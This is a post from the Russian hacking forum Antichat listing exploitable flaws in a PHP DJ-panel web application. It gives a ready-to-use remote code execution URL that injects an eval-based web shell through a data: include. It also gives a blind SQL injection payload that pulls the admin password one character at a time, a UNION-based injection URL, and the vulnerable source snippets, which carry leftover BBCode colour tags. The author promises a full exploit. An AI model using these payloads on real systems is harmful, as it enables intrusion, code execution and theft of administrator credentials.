Форум АНТИЧАТ - Показать сообщение отдельно

Вообще-то, там выполнение кода, без mq=off можно

Цитата:

Сообщение от None

dj/djpage.php?page=data:,%3C?php%20eval($_REQUEST[cmd]);%20?%3E&cmd=phpinfo();

(Ну если mq =on то base64 )

Ща пишу сплойт, точнее писал. Закончу выложу.

Blind Sql injection.

Уязвимый файл:

usercomplaint.php

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]$djname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'djname'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'offusername'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$userip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'offip'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$complaint[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'comments'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$djip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'REMOTE_ADDR'[/COLOR][COLOR="#007700"]]; 

[/COLOR][COLOR="#0000BB"]$date[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'F jS Y, h:iA'[/COLOR][COLOR="#007700"]);

include ([/COLOR][COLOR="#DD0000"]"sql.php"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO `abuse` ( `djname` , `djip` , `date` , `user` , `userip` , `complaint` ) VALUES ( '[/COLOR][COLOR="#0000BB"]$djname[/COLOR][COLOR="#DD0000"]' , '[/COLOR][COLOR="#0000BB"]$djip[/COLOR][COLOR="#DD0000"]' , '[/COLOR][COLOR="#0000BB"]$date[/COLOR][COLOR="#DD0000"]' , '[/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#DD0000"]' , '[/COLOR][COLOR="#0000BB"]$userip[/COLOR][COLOR="#DD0000"]' , '[/COLOR][COLOR="#0000BB"]$complaint[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"])

or die ([/COLOR][COLOR="#DD0000"]"Could not insert into database."[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]());

echo[/COLOR][COLOR="#DD0000"]"Report succesfully sent."[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR]

How to:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]1[/COLOR][COLOR="#DD0000"]',(SELECT name FROM members where rank=char(97,100,109,105,110) AND ascii(lower(substring((SELECT pass from members),1,1)))>=100),null,null,null,null)--[/COLOR][/COLOR]

Post'ом естественно.

Sql injection:

Need mq = off

Цитата:

Сообщение от None

/dj/showprofiles_info.php?name=-1'+union+select+1,2,3,4,5,6,7,8,9+--+

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"name"[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#FF8000"]// Стасок плакал

[/COLOR][COLOR="#0000BB"]$sql_pass_get[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT * FROM profile WHERE name='[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR]

Blind SQL injection

dj/showalert.php

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]$message[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'message'[/COLOR][COLOR="#007700"]];

[/COLOR][COLOR="#0000BB"]$checkip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'checkip'[/COLOR][COLOR="#007700"]]; 

[/COLOR][COLOR="#0000BB"]$djname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'djname'[/COLOR][COLOR="#007700"]];  

include[/COLOR][COLOR="#DD0000"]"sql.php"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"TRUNCATE TABLE `ipalert`"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO `ipalert` ( `IP` , `message` , `djname` ) VALUES ( '[/COLOR][COLOR="#0000BB"]$checkip[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$message[/COLOR][COLOR="#DD0000"]' , '[/COLOR][COLOR="#0000BB"]$djname[/COLOR][COLOR="#DD0000"]' );"[/COLOR][COLOR="#007700"])

    or die ([/COLOR][COLOR="#DD0000"]"Could not insert into database."[/COLOR][COLOR="#007700"]);

echo[/COLOR][COLOR="#DD0000"]"Alert issued."[/COLOR][COLOR="#007700"];

[/COLOR][/COLOR]

Аналогично верхнему, токо чуть чуть подругому.